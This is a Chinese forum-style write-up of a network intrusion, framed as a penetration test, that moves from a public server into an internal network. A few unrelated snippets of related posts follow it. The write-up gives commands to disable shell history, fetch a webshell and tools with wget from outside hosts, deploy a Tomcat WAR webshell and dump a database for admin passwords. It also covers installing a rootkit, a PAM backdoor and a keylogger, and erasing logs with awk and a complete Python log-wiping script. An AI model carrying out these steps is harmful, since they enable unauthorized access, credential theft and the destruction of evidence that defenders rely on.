一次渗透测试过程--从外网进内网(原创)

本文首发习科:地址http://bbs.blackbap.org/thread-7483-1-1.html

最近内网权限掉了,  需要重新找外网的入口进内网,
用凤凰扫描器生成字典扫了一下弱口令,人肉查看了c段上的一些web, 扫了扫端口,发现13这台机器上跑了一个wingsoft的软件, 在乌云上找到了一个漏洞, 用st2 -005 漏洞得到了可以远程执行命令的权限
0x02  进入边界服务器

执行 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;export HISTFILE=/dev/null;export HISTSIZE=0;export HISTFILESIZE=0
复制代码
使系统不记录我们的操作记录
用默认的工具上不去webshell,看了下web目录, chmod 777 +r /js/  加了可写权限, 依然webshell上不去,  使用wget -O /web/js/help.jsp www.xxx.com/shell.txt  也写入不了文件

执行
locate tomcat-user.xml

cat /mulu/tomcat-user.xml
复制代码

找到密码以后进入tomcat后台,部署war包获取webshell,  进去了以后,部署一句话后门若干, 并修改掉文件创建的时间,开始在webshell 上收集信息,为内网渗透做准备
netstat -tlnp   //查看内网连过来那些端口
复制代码10.19.1.56

10.19.1.66
192.168.1.184

10.19.1.150 

10.22.1.222   

10.22.1.249

[size=14.399999618530273px]10.22.1.249

翻一番配置文件。找数据库在10.48.14.52 网段连接进去把裤子拖出来, 查找管理员的密码, 翻到3个管理员(*陈,刘*,彭*) 记录下他的密码,看了下 python -h

nmap -h  发现环境里有python环境
复制代码
上insightscan.py 去扫描下 然而报错了(然而并没有扫描卵用),上传凤凰扫描器准备增加一点权限, 上传出错, 采用文件下载的方式
wget -O /tmp/xx.zip http://www.baidu.com/xx.zip

unzip /tmp/xx.zip 

chmod 777 ff

./ff --参数
复制代码提示缺少动态连接裤 (tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory
)百度了一下

原因一般有两个, 一个是操作系统里确实没有包含该共享库(lib*.so.*文件)或者共享库版本不对, 遇到这种情况那就去网上下载并安装上即可.
另外一个原因就是已经安装了该共享库, 但执行需要调用该共享库的程序的时候, 程序按照默认共享库路径找不到该共享库文件.
参考连接:http://www.jb51.net/article/35383.htm
0x03 权限维持
(1)安装rootkit
安装的应用级的rootkit,基本就是一个加密的nc,配置好端口 root 和密码就可以了
(2)安装pam后门记录root密码
本地是root权限,我们需要本地的root密码,在/etc/shadow解密不了的情况下, 可以安装pam后门或者ssh后门记录root密码
获取pam版本:rpm -qa|grep pam

复制代码
参考:http://www.freebuf.com/articles/system/24104.html
http://www.nxadmin.com/system/1199.html

(3)安装keyloger
https://github.com/dorneanu/ixkeylog/
0x04 日志清理

(1) web日志的清理
awk ‘!/123.123.123.123|111.111.111.111|phpspy.php/‘ /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log

复制代码touch -amt 200901231532 文件名   这样把时间改回来

当然 也有批量修改时间的小技巧

ls|xargs touch -amt 200901231532   #这句话就可以直接改时间
复制代码

(2)系统日志的清理
用的是王子牛的python脚本
#!/usr/bin/env python

import os , sys , subprocess

def banner():

        print ‘‘‘

This is linux log clear script \n

   Welcome to www.90sec.org\n

    Python log.py 127.0.0.1\n

          By:Mr,PriNce‘‘‘

try:

        host = sys.argv[1]

        if len(sys.argv) < 1:

                banner

        log = ["/var/log/messages","/var/log/messages.1","/etc/syslog.conf","/var/log/secure","/var/log/message","/var/log/lastlog","/var/log/auth.log","/var/log/vsftpd.log","/var/log/apache2/access.log","/var/log/apache2/error.log","/var/log/apache2/error.log.1","/usr/local/httpd/error.log","/apache/apache/message.log","/var/log/apache2/access_log","/var/log/apache2/error.log","/var/log/apache2/error_log ","/var/log/apache/access.log","/var/log/apache/access_log","/var/log/apache/error.log","/var/log/apache/error_log","/var/www/logs/error_log"," /var/www/logs/error.log"," /var/www/logs/access_log","/var/www/logs/access.log","/usr/local/apache/logs/error_log"," /usr/local/apache/logs/error.log","/usr/local/apache/logs/access_log","usr/local/apache/logs/access.log","/var/log/error_log","/var/log/error.log","/var/log/access_log","/var/log/access.log","/usr/local/apache/logs/error_logerror_log.old","/usr/local/apache/logs/access_logaccess_log.old","/var/log/access.log","/var/log/access_log","/usr/local/apache/logs/error_log","/usr/local/apache/logs/error.log","/usr/local/apache/logs/access.log","/var/log/messages.1","/var/log/messages.2","/var/log/messages.3","/var/log/messages.4","/var/log/secure.1","/var/log/secure.2","/var/log/secure.3","/var/log/secure.3","/var/log/secure.4"]

        for line in log:

                if os.path.exists(line):

                        subprocess.call("sed -i ‘/%s/d‘ %s" % (host , line),shell=True)

                        print "[+]: %s " % (line)

                else:

                        print "[-]: %s " % (line)

except Exception:

        banner()

复制代码

来习科这么久了 , 也为习科写篇文章,未完待续, 内网有2个域,现在还在第一个域徘徊,还没拿到域控权限, 未完待续把。。。
时间: 2024-11-01 15:01:32

一次渗透测试过程--从外网进内网(原创)的相关文章

[原创] 一次渗透测试过程--从外网进内网

最近内网权限掉了,  需要重新找外网的入口进内网,用凤凰扫描器生成字典扫了一下弱口令,人肉查看了c段上的一些web, 扫了扫端口,发现13这台机器上跑了一个wingsoft的软件, 在乌云上找到了一个漏洞, 用st2 -005 漏洞获得一个cmdshell 0x02  进入边界服务器 执行 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;export HISTFILE=/dev/null;export HISTSIZE=0;exp

外网访问内网工具ngrok tunnel 使用方法

在软件开发测试过程中,我们会经常遇到需要网站部署测试或者给客户演示这样的需求.通常的做法是申请一个域名和空间,将网站放到外网上给客户演示. 这种方法确实可行不过会有两点不好,第一是增加了开支,二是出现问题需要现在自己电脑上改好bug重新上传到外网. 那么问题来了,有没有一种简单的方法,让客户之间访问开发者的电脑上的网站?答案就是下面我将要为大家介绍的外网访问内网工具ngrok tunnel 的使用方法. tunnel可以让公网访问内网部署的站点,对于软件开发测试很有帮助. 由于国外官网经常被墙(

利用ssh反向代理以及autossh实现从外网连接内网服务器

1. 描述一下目前的机器状况,梳理梳理: 机器 IP 用户名 备注 A 10.21.32.106 gdut728 目标服务器,处于内网 B 123.123.123.123 root 外网服务器,相当于桥梁的作用 PS:123.123.123.123只是我随意起的,大家请别攻击别人的服务器啊啊啊 2. 解决方法: 通俗地说:就是在机器A上做到B机器的反向代理:然后在B机器上做正向的代理实现本地端口的转发 2.1 实现前的准备 每台都要安装ssh的客户端. 在这里我使用的是centos7,都自带ss

一台PC双网卡,一个外网一个内网

问题:一台PC双网卡,一个连外网一个连内网.用户主要访问外网,内网只访问有限的几个ip.因为外网很大,一般人公司内网常访问的ip是有限的几个. 现在如何做到在上外网的同时也能访问内网的系统?明明两个网卡都连上了,为何只能访问先连上的那个网卡指定的网络呢? 答:当你访问某个ip地址的时候,电脑不知道通过哪个网卡去访问,它懵逼了. 解决方案:你要通过手动配置来告诉电脑,类似什么样的IP通过哪个网卡访问,这个方式通常叫“定义静态路由”,可以通过使用dos的route命令实现. 在这里,因为我们内网系统

简单物联网:外网访问内网路由器下树莓派Flask服务器

最近做一个小东西,大概过程就是想在教室,宿舍控制实验室的一些设备. 已经在树莓上搭了一个轻量的flask服务器(在树莓派下搭flask在其他随笔有说明),在实验室的路由器下,任何设备都是可以访问的:但是有一些限制条件,比如我想在宿舍控制我种花的光照然后就不行了: 所以这是一个外网访问内网的梗,解决方案如下: 1.先在本地term命令下查看ifconfig(windows为ifconfig):找到自己的本机ip,我的树莓派被分配ip为192.168.1.103 2.tplink路由器的管理地址是1

网络 解决外网与内网或内网之间的通信,NAT穿透

在网络编码中会发现程序在局域网中是可以适用的,但是在外网与内网之间和内网与内网之间就不可行.问题就在于NAT.首先介绍下NAT. NAT的作用NAT(Network Address Translator),网络地址转换.顾名思义,它是一种把内部私有网络IP地址翻译成公有网络IP地址的技术,如图5-1所示.NAT是在IP地址日益缺乏的情况下产生的,它的主要目的是使地址能够重用[9].  图5-1 NAT模型  IP地址分为五类:A类,B类,C类,D类,E类(这里不考虑保留的IP地址).A.B.C类

SVN外网访问内网的操作步骤

外网访问内网SVN 需要将路由映射到VisualSVN server 的443端口 将外网的端口从路由器上进行映射到内网端口,例如将外网的6000端口映射为内网的443端口,443为svn服务器默认端口. SVN客户端访问为https://ip:6000/svn/code

外网访问内网SVN服务器 IOS开发

在已经建好SVN服务器的情况 可 通过 打开Cornerstone .app 在Server Location  界面 输入server:域名 Port:443 端口  必须要填 Repository path: 路径填完填  不然也不能访问 备注:外网访问内网服务器 地址填详细. 和端口

外网下载内网文件

由于项目从内网环境迁移到外网环境,之前的一些文件处理是基于内网共享文件夹的,所以在外网环境用不了. 修改方式是在外网服务器IIS上建立一个针对于文件Load的Application,这里映射的文件目录就是那个内网文件夹. Load方法: public static Boolean LoadFile(string fromPath, string toPath,string fileName) { try { using (WebClient client = new WebClient()) {